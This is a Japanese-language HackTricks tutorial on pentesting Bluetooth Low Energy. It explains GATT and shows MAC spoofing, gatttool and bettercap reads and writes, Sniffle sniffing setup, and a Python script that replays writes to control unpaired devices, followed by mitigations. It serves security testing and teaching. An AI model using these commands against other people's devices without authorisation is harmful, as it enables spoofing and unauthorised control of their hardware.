Pentesting BLE - Bluetooth Low Energy
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
はじめに
Bluetooth 4.0 の仕様以降で利用可能な BLE は、2400〜2483.5 MHz の範囲でわずか 40 チャネルのみを使用します。対照的に、従来の Bluetooth は同じ範囲で 79 チャネルを使用します。
BLE デバイスは advertising packets(beacons)を送信して通信します。これらのパケットは、BLE デバイスの存在を近隣のデバイスにブロードキャストします。これらの beacons は時に データを送信する こともあります。
受信側のデバイス(central device とも呼ばれる)は、advertising パケットに対して当該 advertising デバイス宛てに送られる SCAN request で応答できます。そのスキャンへの response は advertising パケットと同じ構造を使用しますが、初回の advertising で収まらなかった追加情報(フルデバイス名など)を含みます。
プレアンブルバイトは周波数の同期に使われ、4 バイトの access address は複数のデバイスが同じチャネルで接続を確立しようとする場合に使用される connection identifier です。続いて、Protocol Data Unit(PDU)には advertising data が格納されます。PDU にはいくつかの種類があり、最も一般的に使われるのは ADV_NONCONN_IND と ADV_IND です。デバイスは接続を受け付けない場合、ADV_NONCONN_IND PDU タイプを使用し、advertising パケットのみでデータを送信します。デバイスが接続を許可する場合は ADV_IND を使用し、connection が established されると advertising パケットの送信を停止します。
GATT
Generic Attribute Profile(GATT)は、デバイスがデータをどのようにフォーマットし転送するかを定義します。BLE デバイスの攻撃対象面を解析する際には、GATT(または GATTs)に注目することが多いです。というのも、デバイス機能がどのようにトリガーされるか、データがどのように格納・グループ化・変更されるかが GATT に定義されているからです。GATT はデバイスの characteristics、descriptors、services を 16 ビットまたは 32 ビットの値としてテーブルに列挙します。characteristic は central device と peripheral 間で送受信されるデータ値です。これらの characteristics には追加情報を提供する descriptors を持つことがあります。関連する動作を実行する場合、characteristics はしばしば services にグループ化されます。
列挙
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool は別のデバイスと接続を確立し、そのデバイスの特性を列挙し、属性の読み書きを行うことができます。
GATTTool は -I
オプションでインタラクティブシェルを起動できます:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing と未ペアリングの BLE デバイスを能動的に制御する
多くの低コストな BLE ペリフェラルは pairing/bonding を強制しません。bonding がないと Link Layer encryption は有効にならないため、ATT/GATT トラフィックは cleartext になります。off-path sniffer は接続を追跡して GATT 操作をデコードし、characteristic handles と値を把握できます。近隣の任意のホストは接続してこれらの writes を replay することでデバイスを制御できます。
Sniffle を使った Sniffing (CC26x2/CC1352)
ハードウェア: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) を NCC Group の Sniffle ファームウェアで再フラッシュしたもの。
Linux 上に Sniffle とその Wireshark extcap をインストールする:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Sonoff を Sniffle firmware でフラッシュする(シリアルデバイスが一致していることを確認してください。例: /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Sniffle extcap を使って Wireshark でキャプチャし、フィルタリングで状態変更を伴う書き込みに素早く pivot する:
_ws.col.info contains "Sent Write Command"
これはクライアントからの ATT Write Commands をハイライトします。ハンドルと値は多くの場合デバイスの動作に直接対応します(例:ブザー/alert characteristic に 0x01 を書き込むと作動、0x00 を書き込むと停止)。
Sniffle CLI の簡単な例:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin も動作します。小型/安価な Nordic ドングルでは、通常 sniffer firmware をロードするために USB bootloader を上書きするので、専用の sniffer ドングルを保持するか、後でブートローダを復元するために J-Link/JTAG が必要になります。
GATT を介したアクティブ制御
sniffed traffic から writable characteristic handle と value を特定したら、任意の central として接続し、同じ write を実行します:
-
Nordic nRF Connect for Desktop (BLE app) を使用して:
-
nRF52/nRF52840 ドングルを選択し、スキャンしてターゲットに接続します。
-
GATT database を参照し、ターゲットの characteristic を探します(多くはフレンドリ名、例: Alert Level)。
-
sniffed bytes を使って Write を実行します(例: 01 でトリガ、00 で停止)。
-
Windows 上で Nordic ドングルを使い Python + blatann で自動化する:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
運用上の注意点と対策
- 安定したチャネルホッピングと接続追跡のため、Linux上でSonoff+Sniffleを推奨する。バックアップとして予備のNordic snifferを用意しておくこと。
- pairing/bondingがないと、近隣の攻撃者は書き込みを観察し、unauthenticated writable characteristicsに対してリプレイや偽造した書き込みを行える。
- 緩和策: pairing/bondingを必須にして暗号化を強制する; characteristicの権限をauthenticated writesを要求するよう設定する; unauthenticated writable characteristicsを最小化する; Sniffle/nRF ConnectでGATT ACLsを検証する。
参考
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。